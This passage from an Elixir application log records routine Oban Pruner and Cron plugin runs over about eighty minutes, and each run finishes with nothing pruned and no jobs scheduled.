{"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.605 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:23.048 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:53.050 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.606 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:23.052 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:53.054 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.607 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:23.056 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:53.058 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.608 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:23.060 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:53.062 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.609 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:23.064 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:53.066 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.610 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:23.068 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:53.070 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.611 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:23.072 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:53.073 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.612 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:23.076 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:53.078 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.613 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:23.080 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:53.082 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.614 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:23.084 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:53.086 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.615 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:23.088 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:53.090 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.616 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:23.092 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:53.094 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.617 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:23.096 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:53.098 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.618 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:23.100 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:53.102 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.619 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:23.104 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:53.106 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.620 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:23.108 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:53.110 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.621 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:23.112 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:53.114 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.622 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:23.116 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:53.118 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.623 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:23.120 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:53.122 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.624 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:23.124 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:53.126 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.625 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:23.128 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:53.130 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.626 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:23.132 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:53.134 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.627 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:23.136 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:53.138 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.628 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:23.140 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:53.142 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.629 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:23.144 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:53.146 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.630 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:23.148 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:53.150 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.631 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:23.152 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:53.154 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.632 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:23.156 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:53.157 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.633 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:23.160 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:53.162 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.634 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:23.164 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:53.165 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.635 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:23.167 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:53.169 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.636 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:23.171 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:53.173 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.637 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:23.175 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:53.177 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.638 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:23.179 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:53.181 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.639 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:23.183 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:53.185 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.640 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:23.187 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:53.189 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.641 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:23.191 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:53.193 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.642 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:23.195 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:53.197 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.643 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:23.199 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:53.201 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.644 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:23.203 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:53.205 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.645 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:23.207 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:53.209 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.646 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:23.211 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:53.213 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.647 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:23.215 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:53.217 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.648 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:23.219 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:53.221 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.649 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:23.223 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:53.225 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.650 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:23.227 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:53.229 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.651 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:23.231 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:53.233 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.652 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:23.235 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:53.237 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.653 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:23.239 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:53.241 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.654 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:23.243 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:53.245 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.655 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:23.247 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:53.249 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.656 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:23.251 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:53.253 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.657 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:23.255 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:53.257 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.658 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:23.259 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:53.261 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.659 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:23.263 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:53.265 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.660 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:23.267 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:53.269 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.661 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:23.271 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:53.273 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.662 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:23.275 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:53.277 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.663 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:23.279 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:53.281 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.664 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:23.283 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:53.285 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.665 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:23.287 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:53.289 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.666 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:23.291 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:53.293 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.667 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:23.295 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:53.297 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.668 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:23.299 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:53.300 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.669 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:23.303 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:53.305 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.670 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:23.307 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:53.309 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.671 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:23.311 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:53.313 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.672 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:23.315 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:53.317 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.673 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:23.319 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:53.321 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.674 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:23.323 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:53.325 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.675 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:23.327 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:53.329 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.676 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:23.331 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:53.333 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.677 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:23.335 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:53.337 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.678 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:23.339 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:53.341 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.679 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:23.343 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:53.345 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.680 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:23.347 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:53.349 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.681 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:23.351 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:53.353 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.682 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:23.355 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:53.357 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.683 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:23.359 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:53.361 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.684 [info] 